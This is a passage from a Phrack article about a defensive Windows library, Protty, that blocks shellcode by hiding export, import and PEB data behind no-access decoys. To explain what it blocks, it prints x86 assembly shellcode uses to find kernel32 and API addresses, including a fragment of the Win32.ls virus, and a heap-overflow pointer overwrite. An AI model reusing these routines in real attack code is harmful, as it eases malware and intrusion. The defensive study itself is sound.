==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x0f of 0x14 |=---------------------------------------------------------------------=| |=---------------=[ NT shellcodes prevention demystified ]=------------=| |=---------------------------------------------------------------------=| |=---------------=[by Piotr Bania ]=------------=| What was alive is now dead; all that was beautiful is now the ugliness of devastation And yet I do not altogether die what is indestructible in me remains! - Karol Wojty³a, Sophie Arie in Rome ...this short thing is dedicated to You - R.I.P ...a glorious era has already ended. --[ Contents I. Introduction II. Known protections II.A - Hooking API functions and stack backtracing. II.B - Security cookie authentication (stack protection) II.C - Additional mechanisms - module rebasing III. What is shellcode and what it "must do" IV. Getting addresses of kernel/needed functions - enemy study IV.A - getting kernel address (known mechanisms) IV.A.A - PEB (Process Environment Block) parsing IV.A.B - searching for kernel in memory IV.B - getting API addresses (known methods) IV.B.A - export section parsing IV.B.B - import section parsing V. New prevention techniques VI. Action - few samples of catched shellcodes VII. Bad points (what you should know) - TODO VIII. Last words IX. Code X. References --[ I. Introduction Nowadays there are many exploit prevention mechanisms for windows but each of them can by bypassed (according to my information). Reading this article keep in mind that codes and information provided here will increase security of your system but it doesn't mean you will be completely safe (cut&paste from condom box user manual). --[ II. Known protections Like I said before, today there exist many commercial prevention mechanisms. Here we will get a little bit deeper inside of most common ring3 mechanisms. II.A Hooking API functions and stack backtracing -------------------------------------------------- Many nowadays buffer overflows protectors are not preventing the buffer overflow attack itself, but are only trying to detect running shellcode. Such BO protectors usually hook API functions that usually are used by shellcode. Hooking can be done in ring3 (userland) or kernel level (ring0, mainly syscalls and native api hooking). Lets take a look at example of such actions: stack backtracing ----------------- Lets check the NGSEC stack backtracing mechanism, now imagine a call was made to the API function hooked by NGSEC Stack Defender. So when a call to any of hooked APIs is done, the main Stack Defender mechanism stored in proxydll.dll will be loaded by the hooked function stored in .reloc section. Then following tests will be done: Generally this comes up as params for the proxydll function (all of the arguments are integers): assume: argument 1 = [esp+0ch] - its "first" passed argument to the function this is always equal to the stack address 0xC bytes from the ESP. argument 2 = address from where hooked api was called argument 3 = some single integer (no special care for this one) argument 4 = stack address of given param thru hooked API call MAIN STEPS: - I. - execute VirtualQuery [1] on [esp+0Ch] (stack address)-LOCATION1 - II. - execute VirtualQuery [1] on call_ret address - LOCATION2 - III. - if LOCATION1 allocation base returned in one of the members of MEMORY_BASIC_INFORMATION [2] is equal to the LOCATION2 allocation base then the call is comming for the stack space. Stack Defender kills the application and reports attack probe to the user. If not next step is executed. - IV. - call IsBadWritePtr [3] on location marked as LOCATION2 (addres of caller). If the API returns that location is writeable Stack Defender finds it as a shellcode and kills the application. If location is not writeable StackDefender executes the original API. hooking exported API functions ------------------------------ When module exports some function it means that it's making this fuction usable for other modules. When such function is exported, PE file includes an information about exported function in so called export section. Hooking exported function is based on changing the exported function address in AddressOfFunctions entry in the export section. The great and one of the first examples of such action was very infamous i-worm.Happy coded by french virus writter named as Spanska. This one hooks send and connects APIs exported from WSOCK32.DLL in order to monitor all outgoing messages from the infected machine. This technique was also used by one of the first win32 BO protectors - the NGSEC's Stack Defender 1.10. The NGSEC mechanism modifies the original windows kernel (kernel32.dll) and hooks the following functions: (the entries for each of the exported functions in EAT (Export Address Table) were changed, each function was hooked and its address was "repointed" to the .reloc section where the filtering procedure will be executed) - WinExec - CreateProcessW - CreateProcessA - LoadLibraryExA - LoadLibraryExW - OpenFile - CreateThread - CreateRemoteThread - GetProcAddress - LoadModule - CreateFileA - CreateFileW - _lopen - _lcreat - CopyFileA - CopyFileW - CopyFileExA - CopyFileExW - MoveFileA - MoveFileExW - LockFile - GetModuleHandleA - VirtualProtect - OpenProcess - GetModuleHandleW - MoveFileWithProgressA - MoveFileWithProgressW - DeleteFileA inline API hooking ------------------ This technique is based on overwritting the first 5 bytes of API function with call or unconditional jump. I must say that one of the first implementations of such "hooking" technique (well i don't mean the API hooking method excatly) was described by GriYo in [12]. The feature described by GriYo was named "EPO" - "Entry-point Obscuring". Instead of changing the ENTRYPOINT of PE file [9] GriYo placed a so called "inject",a jump or call to virus inside host code but far away from the file entry-point. This EPO technique makes a virus detection much much harder... Of course the emulated bytes must be first known by the "hooker". So it generally must use some disassembler engine to determine instructions length and to check its type (i think you know the bad things can happen if you try to run grabbed call not from native location). Then those instructions are stored locally and after that they are simply executed (emulated). After that the execution is returned to native location. Just like the schema shows. Inline API hooking feature is also present in Detours library developed by Microsoft [4]. Here is the standard sample how hooked function looks like: BEFORE: ;----------SNIP-------------------------------------------- CreateProcesA: push ebp ; 1 bytes mov ebp,esp ; 2 bytes push 0 ; 2 bytes push dword ptr [ebp+2c] ... ;----------SNIP-------------------------------------------- AFTER (SCHEMA): ;----------SNIP-------------------------------------------- CreateProcessA: jmp hooked_function where_ret: push dword ptr [ebp+2c] ... hooked_function: pushfd ; save flags pushad ; save regs call do_checks ; do some checks popad ; load regs popfd ; loadflags push ebp ; emulation mov ebp,esp ; of original push 0 ; bytes push offset where_ret ; return to ret ; original func. ;----------SNIP-------------------------------------------- Such type of hooking method was implemented in Okena/CSA and Entercept commercial mechanisms. When the hooked function is executed, BO prevention mechanism does similiar checks like in described above. However BO preventers that use such feature can be defeat easily. Because I don't want to copy other phrack articles I suggest you looking at "Bypassing 3rd Party Windows Buffer Overflow Protection" [5] (phrack#62). It is a good article about bypassing such mechanisms. II.B Security cookie authentication (stack protection) -------------------------------------------------------- This technique was implemented in Windows 2003 Server, and it is very often called as "build in Windows 2003 Server stack protection". In Microsoft Visual C++ .NET Microsoft added a "/GS" switch (default on) which place security cookies while generating the code. The cookie (or canary) is placed on the stack before the saved return address when a function is called. Before the procedure returns to the caller the security cookie is checked with its "prototype" version stored in the .data section. If the buffer overflow occurs the cookie is overwritten and it mismatches with the "prototype" one. This is the sign of buffer overflow. Bypassing this example was well documented by David Litchfield so I advice you to take a look at the lecture [6]. II.C Additional mechanisms - module rebasing ---------------------------------------------- When we talk about buffer overflow prevention mechanism we shouldn't forget about so called "module rebasing". What is the idea of this technique? Few chapters lower you have an example code from "searching for kernel in memory" section, there you can find following variables: ;----------SNIP-------------------------------------------- ; some of kernel base values used by Win32.ls _kernells label dd 077e80000h - 1 ;NT 5 dd 0bff70000h - 1 ;w9x dd 077f00000h - 1 ;NT 4 dd -1 ;----------SNIP-------------------------------------------- Like you probably know only these kernel locations in the table will be searched, what happens if shellcode doesn't know the imagebase of needed module (and all the search procedures failed)? Answer is easy shellcode can't work and it quits/crashes in most cases. How the randomization is done? Generally all PE files(.exe/.dlls etc. etc) have an entry in the PE record (offset 34h) which contains the address where the module should be loaded. By changing this value we are able to relocate the module we want, of course this value must be well calculated otherwise your system can be working incorrectly. Now, after little overview of common protections we can study the shellcode itself. --[ III. What is shellcode and what it "must do" For those who don't know: Shellcode is a part of code which does all the dirty work (spawns a shell / drops trojans / bla bla) and it's a core of exploit. What windows shellcode must do? Lets take a look at the following sample schema: 1) - getting EIP 2) - decoding loop if it's needed 3) - getting addresses of kernel/needed functions 4) - spawning a shell and all other dirty things If you read assumptions (point II) and some other papers you will probably know that there is no way to cut third point from shellcode schema. Every windows shellcode must obtain needed data and that's a step we will try to detect. Of course shellcode may use the hardcoded kernel value or hardcoded API values. That doesn't mean that shellcode will be not working, but generally things get harder when attacker doesn't know the victim machine (version of operating system - different windows = different kernel addresses) or when the victim machine works with some protection levels like image base rebasing. Generally hardcoding those values decreases the success level of the shellcode. --[ IV. Getting addresses of kernel/needed functions - enemy study This chapter describes shortly most common methods used in shellcodes. To dig more deeply inside the stuff I advice you to read some papers from the Reference section --[ IV.A - getting kernel address (known mechanisms) IV.A.A - PEB (Process Environment Block) parsing -------------------------------------------------- PEB (Process Environment Block) parsing - the following method was first introduced by the guy called Ratter [7] from infamous 29A group. By parsing the PEB_LDR_DATA we can obtain information about all currently loaded modules, like following example shows: ;----------SNIP-------------------------------------------- mov eax,dword ptr fs:[30h] ; EAX is now PEB base mov eax,dword ptr [eax+0ch] ; EAX+0Ch = PEB_LDR_DATA mov esi,dword ptr [eax+1ch] ; get the first entry mov ebx,[esi+08h] ; EBX=ntdll imagebase module_loopx: lodsd mov ebx,[eax+08h] ; EBX=next dll imagebase test ebx,ebx jz @last_one_done int 3 mov esi,eax ; continue search jmp module_loopx ;----------SNIP--------------------------------------------- IV.A.B - searching for kernel in memory ----------------------------------------- searching for kernel in memory - this example scans/tries different kernel locations (for different windows versions) and searches for MZ and PE markers, the search progress works together with SEH frame to avoid access violations. Here is the example method (fragment of Win32.ls virus): ;----------SNIP-------------------------------------------- cld lea esi,[ebp + offset _kernells - @delta] ; load the kernel ; array @nextKernell: lodsd ; load on base to EAX push esi ; preserve ESI (kernel array location) inc eax ; is this the last one ? (-1+1=0) jz @bad ; seems so -> no kernel base matched push ebp ; preserve EBP (delta handler) call @kernellSEH ; check the loaded base mov esp,[esp + 08h] ; restore the stack @bad1: pop dword ptr fs:[0] ; restore old SEH frame pop eax ; normalize the stack pop ebp ; load delta handle pop esi ; go back to kernel array jmp @nextKernell ; and check another base… @bad: pop eax ; no kernel found, virus jmp @returnHost ; returning to host ; some of kernel base values used by Win32.ls _kernells label dd 077e80000h - 1 ;NT 5 dd 0bff70000h - 1 ;w9x dd 077f00000h - 1 ;NT 4 dd -1 @kernellSEH: push dword ptr fs:[0] ; setup new SHE handler mov dword ptr fs:[0],esp mov ebx,eax ; EBX=imagebase xchg eax,esi xor eax,eax lodsw ; get first 2 bytes from imagebase not eax ; is it MZ? cmp eax,not 'ZM' ; compare jnz @bad1 ; it isn't check next base mov eax,[esi + 03ch] ; MZ is found now scan for PE sign add eax,ebx ; normalize (RVA2VA) xchg eax,esi lodsd ; read 4 bytes not eax cmp eax,not 'EP' ; is it PE? jnz @bad1 ; nope check next base pop dword ptr fs:[0] ; return (setup) old SEH pop eax ebp esi ; clear stack ; EBX is now valid kernel base ;----------SNIP-------------------------------------------- --[ IV.B - getting API addresses (known methods) IV.B.A - export section parsing --------------------------------- export section parsing - when the module (usually kernel32.dll) base is located, shellcode can scan export section and find some API functions needed for later use. Usually shellcode is searching for GetProcAddress() function address, then it is used to get location of the others APIs. Following code parses kernel32.dll export section and gets address of GetProcAddress API: ;----------SNIP-------------------------------------------- ; EAX=imagebase of kernel32.dll xor ebp,ebp ; zero the counter mov ebx,[eax+3ch] ; get pe header add ebx,eax ; normalize mov edx,[ebx+078h] ; export section RVA add edx,eax ; normalize mov ecx,[edx+020h] ; address of names add ecx,eax ; normalize mov esi,[edx+01ch] ; address of functions add esi,eax ; normalize loop_it: mov edi,[ecx] ; get one name add edi,eax ; normalize cmp dword ptr [edi+4],'Acor' ; is it GetP-rocA-ddress ?? :) jne @l ; nope -> jump to @l ; yes it is add esi,ebp ; add out counter mov esi,[esi] ; get the address add esi,eax ; normalize int 3 ; ESI=address of GetProcAddress @l: add ecx,4 ; to next name add ebp,4 ; update counter (dwords) jmp loop_it ; and loop it again ;----------SNIP-------------------------------------------- IV.B.B - import section parsing --------------------------------- import section parsing - 99% of hll applications import GetProcAddress/LoadLibraryA, it means that their IAT (Import Address Table) includes address and name string of the mentioned functions. If shellcode "knows" the imagebase of target application it can easily grab needed address from the IAT. Just like following code shows: ;----------SNIP-------------------------------------------- ;following example gets LoadLibraryA address from IAT IMAGEBASE equ 00400000h mov ebx,IMAGEBASE mov eax,ebx add eax,[eax+3ch] ; PE header mov edi,[eax+80h] ; import RVA add edi,ebx ; normalize xor ebp,ebp mov edx,[edi+10h] ; pointer to addresses add edx,ebx ; normalize mov esi,[edi] ; pointer to ascii strings add esi,ebx ; normalize @loop: mov eax,[esi] add eax,ebx add eax,2 cmp dword ptr [eax],'daoL' ; is this LoadLibraryA? jne @l add edx,ebp ; normalize mov edx,[edx] ; edx=address of int 3 ; LoadLibraryA @l: add ebp,4 ; increase counter add esi,4 ; next name jmp @loop ; loop it ;----------SNIP-------------------------------------------- After this little introduction we can finally move to real things. --[ V. New prevention techniques While thinking about buffer overflow attacks I've noticed that methods from chapter IV are most often used in shellcodes. And thats the thing I wanted to prevent, I wanted to develop prevention technique which acts in very early stage of shellcode execution and here are the results of my work: Why two Protty libraries / two techniques of prevention? When I have coded first Protty (P1) library it worked fine except some Microsoft products like Internet Explorer, Explorer.exe (windows manager) etc. in thoose cases the prevention mechanisms eat all cpu. I simply got nervous and I have rebuilt the mechanisms and that's how second Protty (P2) library was born. Im describing them both because everything that gives any bit of knowledge is worth describing :) Anyway Im not saying the second one is perfect each solution got its bad and good points. What I have done - the protection features: - protecting EXPORT section - protecting function addresses array (any exe/dll library) - IAT RVA killer (any exe/dll library) - protecting IAT - protecting functions names array (any exe/dll library) - protecting PEB (Process Environment Block) - disabling SEH/Unhandled Exception Filter usage - RtlEnterCrticialSection pointer protector NOTE: All those needed pointers (IMPORT/EXPORT sections) are found in similiar way like in IVth chapter. FEATURE: EXPORT SECTION PROTECTION (protecting "function addresses array") ------- Every shellcode that parses EXPORT section (mainly kernel32.dll one) want to get to exported function addresses, and that's the thing I tried to block, here is the technique: Algorithm/method for mechanism used in Protty1 (P1): --------------------------------------------------- 1. Allocate enough memory to handle Address Of Functions table from the export section. Address of Function table is an array which cointains addresses of exported API functions, like here for KERNEL32.DLL: D:\>tdump kernel32.dll kernel32.txt & type kernel32.txt (...snip...) Name RVA Size ------------------ -------- -------- Exports 0006D040 00006B39 (...snip...) Exports from KERNEL32.dll 942 exported name(s), 942 export addresse(s). Ordinal base is 1. Ordinal RVA Name ------- -------- ---- 0000 000137e8 ActivateActCtx 0001 000093fe AddAtomA 0002 0000d496 AddAtomW 0003 000607c5 AddConsoleAliasA 0004 0006078e AddConsoleAliasW 0005 0004e0a1 AddLocalAlternateComputerNameA 0006 0004df8c AddLocalAlternateComputerNameW (...snip...) Where RVA values are entries from Address of Functions table, so if first exported symbol is ActivateActCtx, first entry of Address of Function will be its RVA. The size of Address of Functions table depends on number of exported functions. All those IMPORT / EXPORT sections structures are very well documented in Matt Pietrek, "An In-Depth Look into the Win32 Portable Executable File Format" paper [9]. 2. Copy original addresses of functions to the allocated memory. 3. Make original function addresses entries writeable. 4. Erase all old function addresses. 5. Make erased function addresses entries readable only. 6. Update the pointer to Address of Functions tables and point it to our allocated memory: - Make page that contains pointer writeable. - Overwrite with new location of Address of Function Table - Make page that contains pointer readable again. 7. Mark allocated memory (new function addresses) as PAGE_NOACCESS. We couldn't directly set the PAGE_NOACCESS protection to original function addresses because some other data in the same page must be also accessible (well SAFE_MEMORY_MODE should cover all cases even when protection of original page was changed to PAGE_NOACCESS - however such action increases CPU usage of the mechanism). The best way seems to be to allocate new memory region for it. What does the PAGE_NOACCESS protection? : - PAGE_NOACCESS disables all access to the committed region of pages. An attempt to read from, write to, or execute in the committed region results in an access violation exception, called a general protection (GP) fault. Now all references to the table with function addresses will cause an access violation exception, the description of the exception checking mechanism is written in next chapter ("Description of mechanism implemented in ..."). Just like the schema shows (A. - stands for "address"): --- SNIP --- START OF SCHEMA. 1a SOME PE MODULE ------------------ | export section | |------------------| | start | + imagebase | (...) | -----------> OLD ARRAY WITH FUNCTIONS ADDRS |------------------| | | NUMBER OF NAMES | | |------------------|BEFORE^| AFTER> | A. OF FUNCTIONS |------------------- |------------------| + --//-- | | A. OF NAMES | | (NEWLY ALLOCATED MEMORY) |------------------| -> NEW ARRAY WITH FUNCTIONS ADDRS | A. OF ORDINALS | | |------------------| ----------------- | (...) | | function 1 addr | / PAGE | end | | function 2 addr |- NO ------------------ | ... | \ ACCESS ----------------- RIGHTS ALL FUNCTION ADDRESSES IN OLD ARRAY WERE PERMANENTLY OVERWRITTEN WITH NULL! --- SNIP --- END OF SCHEMA. 1a Algorithm/method for mechanism used in Protty2 (P2): --------------------------------------------------- 1. Allocate enough memory to handle Address Of Functions table from the export section. 2. Copy original addresses to the allocated memory. 3. Make original function addresses entries writeable. 4. Erase all old function addresses. 5. Make erased function addresses entries readable only. 6. Make pointer to Address Of Functions writeable. 7. Allocate small memory array for decoy (with PAGE_NOACCES rights). 8. Write entry to protected region lists. 8. Update the pointer to Address Of Functions and point it to our allocated decoy. 9. Update protected region list (write table entry) 10.Make pointer to Address Of Function readable only. --- SNIP --- START OF SCHEMA. 1b SOME PE MODULE ------------------ | export section | |------------------| | start | + imagebase | (...) | -----------> OLD ARRAY WITH FUNCTIONS ADDRS |------------------| | | NUMBER OF NAMES | | |------------------|BEFORE^| AFTER> | A. OF FUNCTIONS |------------------- |------------------| + --//-- | | A. OF NAMES | | ------------ /PAGENOACCESS |------------------| -> | DECOY |- RIGHTS | A. OF ORDINALS | ------------ \ |------------------| | (...) | Somewhere in memory: | end | (allocated memory with functions ------------------ address entries): || ----------------- | function 1 addr | | function 2 addr | | ... | ----------------- ALL FUNCTION ADDRESSES IN OLD ARRAY WERE PERMANENTLY OVERWRITTEN WITH NULL! --- SNIP --- END OF SCHEMA. 1b What have I gained by switching from the first method (real arrays) to the second one (decoys)? The answer is easy. The first one was pretty slow solution (all the time i needed to deprotect the region and protect is again) in the second one i don't have to de-protect and protect the real array, the only thing i need to do is update the register value and make it point to the orginal requested body. FEATURE: IMPORT SECTION PROTECTION (protecting "functions names array" + ------- IAT RVA killer) IAT RVA killer mechanism for both Protty1 (P1) and Protty2 (P2) --------------------------------------------------------------- All actions are similar to those taken in previous step, however here we are redirecting IMPORTS function names and overwriting IAT RVA (with pseudo random value returned by GetTickCount - bit swapped). And here is the schema which shows IAT RVA killing: --- SNIP --- START OF SCHEMA. 2 SOME PE MODULE ------------------ | NT HEADER | |------------------| | start | + imagebase | (...) | ------------> MODULE IMPORT SECTION |------------------| | | EXPORT SIZE | | |------------------| BEFORE^| AFTER> | IMPORT RVA |---------------------> NO EXISTING LOCATION (*) |------------------| + --//-- | IMPORT SIZE | |------------------| | (...) | | end | ------------------ (*) - the IMPORT RVA is overwritten with value returned by GetTickCount swaped one time, generally it's kind of idiotic action because many of you can assume such operation can give a drastic effect with application stability. Well you are wrong, overwritting the IMPORT RVA >after< successful loading of any pe module has no right to cause instability (atleast it worked in my case, remeber this is windows and you are messing a lot ...) --- SNIP --- END OF SCHEMA. 2 And here's the one describing protecting "functions names array", for Protty1 (P1): --- SNIP --- START OF SCHEMA. 3a SOME PE MODULE ------------------ | import section | +blabla |------------------| ----------> ARRAY OF FUNCTION NAMES | start | | | (...) | | |------------------| BEFORE^ | AFTER> | A. OF NAMES |----------------------> (NEWLY ALLOCATED MEMORY) |------------------| +blabla NEW ARRAY OF FUNCTION NAMES | (...) | | | end | ----------------- ------------------ | "Function1",0 |/ PAGE | "Function2",0 |- NO | "Function3",0 |\ ACCESS ----------------- RIGHTS ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY WERE PERMANENTLY OVERWRITTEN BY NULL NOTE: I have choosed Address Of Names array, because it is much less accessed memory region than Address Of Functions array - so less CPU consumption (but bit more unsecure - you can do it yourself). --- SNIP --- END OF SCHEMA. 3a And here's the one describing protecting "functions names array", for Protty1 (P2): --- SNIP --- START OF SCHEMA. 3b SOME PE MODULE ------------------ | import section | +blabla |------------------| ----------> ARRAY OF FUNCTION NAMES | start | | | (...) | | |------------------| BEFORE^ | AFTER> ------------- / PAGE | A. OF NAMES |----------------------> | DECOY |-NO ACCESS |------------------| +blabla ------------- \ RIGHTS | (...) | | end | ------------------ Somewhere in memory: (allocated memory with original function names): || ----------------- | "Function1",0 | | "Function2",0 | | "Function3",0 | ----------------- ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY WERE PERMANENTLY OVERWRITTEN BY NULL --- SNIP --- END OF SCHEMA. 3b FEATURE: PEB (Process Environment Block) protection (PEB_LDR_DATA) ------- Algorithm/method for mechanism used in Protty1 (P1): --------------------------------------------------- 1. Get PEB_LDR_DATA [7] structure location 2. Update the region list 3. Mark all PEB_LDR_DATA [7] structure as PAGE_NO_ACCESS --- SNIP --- START OF SCHEMA. 4a ------------------ | PEB_LDR_DATA |\ | .... |---- NOW MARKED WITH PAGE_NOACCESS. | .... |/ ------------------ --- SNIP --- END OF SCHEMA. 4a Algorithm/method for mechanism used in Protty2 (P2): --------------------------------------------------- 1. Get InInitializationOrderModuleList [7] structure location 2. Write table entry (write generated faked address) 3. Write table entry (write original location of InInitOrderML...) 4. Change the pointer to InInitializationOrderModuleList, make it point to bad address. Here is the schema (ML stands for ModuleList): --- SNIP --- START OF SCHEMA. 4b [PEB_LDR_DATA]: ------------------ | Length | |------------------| | Initialized | |------------------| -------------------------- | SsHandle | |LIST_ENTRY InInit.OrderML | |------------------| .--------> | | | InLoadOrderML | | -------------------------- |------------------| | | InMemoryOrderML | | |------------------| BEFORE^ | AFTER> | InInit.OrderML |--------------------> RANDOM MINUS VALUE |------------------| (not existing location) ------------------ NOTE: why MINUS VALUE? Generally I choose minus one because there is no minus valid location and this will generate a exception for sure, anyway this value can be changed and we can add a DECOY memory area like in upper cases (but in this case region size should be bigger). Minus value can be used for shellcodes to find protection occurency - however if anybody wanna play... --- SNIP --- END OF SCHEMA. 4b FEATURE: Disabling SEH / Unhandled Exception Filter pointer usage. ------- Description for both Protty1 (P1) and Protty 2 (P2) --------------------------------------------------- Every time access violation exception occurs in protected program, prevention mechanism tests if the currently active SEH frame points to writeable location, if so Protty will stop the execution. If UEF_HEURISTISC is set to TRUE (1) Protty will check that actual set Unhandled Exception Filter starts with prolog (push ebp/mov ebp,esp) or starts with (push esi/mov esi,[esp+8]) otherwise Protty will kill the application. After this condition Protty checks that currently active Unhandled Exception Filter is writeable if so application is terminated (this also stands out for the default non heuristisc mode). Why UEF? Unhandled Exception Filter is surely one of the most used methods within exploiting windows heap overflows. The goal of this method is to setup our own Unhandled Filter, then when any unhandled exception will occur attackers code can be executed. Normally attacker tries to set UEF to point to call dword ptr [edi+78h], because 78h bytes past EDI there is a pointer to the end of the buffer. To get more description of this exploitation technique check point [8] from Reference section. NOTE: Maybe there should be also a low HEURISTICS mode with jmp dword ptr [edi+78h] / call dword ptr [edi+78h] occurency checker, however the first one covers them all. FEATURE: RtlEnterCrticialSection pointer protector ------- Description for both Protty1 (P1) and Protty 2 (P2) --------------------------------------------------- Like in above paragraph, library checks if pointer to RtlEnterCriticalSection pointer has changed, if it did, prevention library immediately resets the original pointer and stops the program execution. RtlEnterCritical pointer is often used in windows heap overflows exploitation. Here is the sample attack: (sample scenerio of heap overflow) ;----------SNIP-------------------------------------------- ; EAX, ECX are controled by attacker ; assume: ; ECX=07FFDF020h (RtlEnterCrticialSection pointer) ; EAX=location where attacker want to jump mov [ecx],eax ; overwrites the pointer mov [eax+0x4],ecx ; probably causes access ; violation ; if so the execution is ; returned to "EAX" ;----------SNIP-------------------------------------------- You should also notice that even when the access violation will not occur it doesn't mean attackers code will be not excuted. Many functions (not directly) are calling RtlEnterCriticalSection (the address where 07FFDF020h points), so attacker code can be executed for example while calling ExitProcess API. To find more details on this exploitation technique check point [10] from Reference section. FEATURE: position independent code, running in dynamicaly allocated memory ------- Protty library is a position independent code since it uses so called "delta handling". Before start of the mechanism Protty allocates memory at random location and copy its body there, and there it is executed. What is delta handling? Lets take a look at the following code: ;----------SNIP-------------------------------------------- call delta ; put delta label offset on the ; stack delta: pop ebp ; ebp=now delta offset sub ebp offset delta ; now sub the linking value of ; "delta" ;----------SNIP-------------------------------------------- As you can see delta handle is a numeric value which helps you with addressing variables/etc. especially when your code do not lay in native location. Delta handling is very common technique used by computer viruses. Here is a little pseudo code which shows how to use delta handling with addressing: ;----------SNIP-------------------------------------------- ;ebp=delta handle mov eax,dword ptr [ebp+variable1] lea ebx,[ebp+variable2] ;----------SNIP-------------------------------------------- Of course any register (not only EBP) can be used :) The position independent code was done to avoid easy disabling/patching by the shellcode itself. ------------------------------------------------------------------------- |Description of mechanism implemented in Protty1 (P1)| ------------------------------------------------------------------------- NOTE: That all features written here were described above. You can find complete descriptions there (or links to them). Mechanism takeovers the control of KiUserExceptionDispatcher API (exported by NTDLL.DLL) and that's where the main mechanism is implemented. From that point every exception (caused by program) is being filtered by our library. To be const-stricto, used mechanism only filters all Access Violations exceptions. When such event occurs Protty first checks if the active SEH (Structured Exception Handler) frame points to good location (not writeable) if the result is ok it continues testing, otherwise it terminates the application. After SEH frame checking, library checks the address where violation came from, if its bad (writeable) the program is terminated. Then it is doing the same with pointer to Unhandled Exception Filter. Next it checks if pointer to RtlEnterCriticalSection was changed (very common and useful technique for exploiting windows based heap overflows) and kills the application if it was (of course the pointer to RtlEnterCriticalSection is being reset in the termination procedure). If application wasn't signed as BAD and terminated so far, mechanism must check if violation was caused by reference to our protected memory regions, if not it just returns execution to original handler. Otherwise it checks if memory which caused the exception is stored somewhere on the stack or is writeable. If it is, program is terminated. When the reference to protected memory comes from GOOD location, mechanism resets protection of needed region and emulates the instruction which caused access violation exception (im using z0mbie's LDE32 to determine instruction length), after the emulation, library marks requested region with PAGE_NOACCESS again and continues program execution. That's all - for more information check the source codes attached and test it in action. (Take a look at the "catched shellcodes" written in next section) In the time of last add-ons for the article, Phrack stuff noticed me that single stepping will be more good solution. I must confess it really can do its job in more fast way. I mark it as TODO. Few words about the emulation used in P1: ---------------------------------------- Generally I have two ways of doing it. You already know one. I'm going to describe another one now. Instead of placing jump after instruction that caused the access violation exception I could emulate it locally, it's generally more slower/faster more weird (?), who cares (?) but it should work also. Here is the short description of what have to be done: (optional algorithm replacement for second description written below) STEP 1 - Get instruction length, copy the instruction to local buffer STEP 2 - Deprotect needed region STEP 3 - Change the contexts, of course leave the EIP alone :)) save the old context somewhere STEP 4 - Emulate the instruction STEP 5 - Update the "target" context, reset old context STEP 6 - Protect all regions again STEP 7 - continue program execution by NtContinue() function And here is the more detailed description of currently used instruction emulation mechanism in Protty: STEP 1 - Deprotect needed region STEP 2 - Get instruction length STEP 3 - Make the location (placed after instruction) writeable STEP 4 - Save 7 bytes from there STEP 5 - Patch it with jump STEP 6 - use NtContinue() to continue the execution, after executing the first instruction, second one (placed jump) returns the execution to Protty. STEP 7 - Reset old 7 bytes to original location (un-hooking) STEP 8 - Mark the location (placed after instruction) as PAGE_EXECUTE_READ (not writeable) STEP 9 - Protect all regions again, return to "host" ------------------------------------------------------------------------- |Description of mechanism implemented in Protty2 (P2)| ------------------------------------------------------------------------- The newer version of Protty library (P2) also resides in KiUserExceptionDispatcher,where it filters all exceptions like the previous version did. So the method of SEH/UEF protection is the same as described in Protty1. What is the main difference? Main difference is that current mechanism do not emulate instruction and do not deprotect regions. It works in completely different way. When some instruction (assume it is GOOD - stored in not writeable location) tries to access protected region it causes access violation. Why so? Because if you remember the ascii schemas most of them point to DECOY (which is not accessible memory) or to a minus memory location (invalid one). This causes an exception, normally as described earlier the mechanism should de-prot the locations and emulate the intruction, but not in this case. Here we are checking what registers were used by the instruction which caused fault, and then by scanning them we are checking if any of them points somewhere inside "DECOYS" offsets. How the mechanism know whats registers are used by instruction!? ---------------------------------------------------------------- To understand how the prevention mechanism works, the reader should know about so called "opcode decoding", this !IS NOT! the full tutorial but it describes the main things reader should know (for more check www.intel.com or [8]). I would also like to thank Satish K.S for supporting me with great information which helped me to make the "tutorial" suitable for human beings (chEERs ricy! :)) The instructions from Intel Architecture are encoded by using subsets of the general machine instruction format, like here: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A A * * * A A A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA A A A A A A Opcode ModR/M Byte SIB Byte 1 or 2 Bytes Each instruction consists of an Opcode, a Register and/or Address mode specifier (if required) consisting of the ModR/M byte and sometimes the scale -index-base (SIB) byte, a displacement (if required), and an immediate data field (if required). Z0mbies ADE32 engine can disassembly every instruction and return the DISASM structure which provides information useful for us. Here is the structure: struct disasm_struct { IN OUT BYTE disasm_defaddr; -- specify 4 for 32-bit code IN OUT BYTE disasm_defdata; -- specify 4 for 32-bit code OUT DWORD disasm_len; -- total length of opcode or 0 OUT DWORD disasm_flag; -- bitset of C_xxx OUT DWORD disasm_addrsize; -- size of address (or 0 if no addr) OUT DWORD disasm_datasize; -- size of data (or 0 if no data) OUT BYTE disasm_rep; -- REP prefix value (if C_REP) OUT BYTE disasm_seg; -- SEG prefix value (if C_SEG) OUT BYTE disasm_opcode; -- opcode value (present if no error) OUT BYTE disasm_opcode2; -- 2nd opcode value (if C_OPCODE2) OUT BYTE disasm_modrm; -- MODRM value (if C_MODRM) OUT BYTE disasm_sib; -- SIB value (if C_SIB) OUT BYTE disasm_addr[8]; -- address (if disasm_addrsize!=0) OUT BYTE disasm_data[8]; -- data (if disasm_datasize!=0) }; To get the registers used by the instruction, we need to check the disasm_modrm value. Of course there are few exceptions like one-bytes intructions (no ModR/M) like "lodsb/lodsw/stosb" etc.etc. Protty2 is doing manual check for them. Sometimes encoding of the ModR/M requires a SIB byte to fully specify the addressing form. The base+index and scale+index forms of a 32bit addressing require the SIB byte. This, due to lack of free time, wasn't implemented in P2, however when the mechanism cannot find the "registers used" it does some brute-scan and check all registers in host context (this should cover most of the unknown-cases). But lets go back to ModR/M-s: Lets imagine we are disassembling following instruction: - MOV EAX,DWORD PTR DS:[EBX] The value returned in disasm_modrm is equal to 03h. By knowing this the library checks following table (look for 03): (32-Bit Addressing Forms with the ModR/M Byte Translated Table) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A ModR/M Byte A 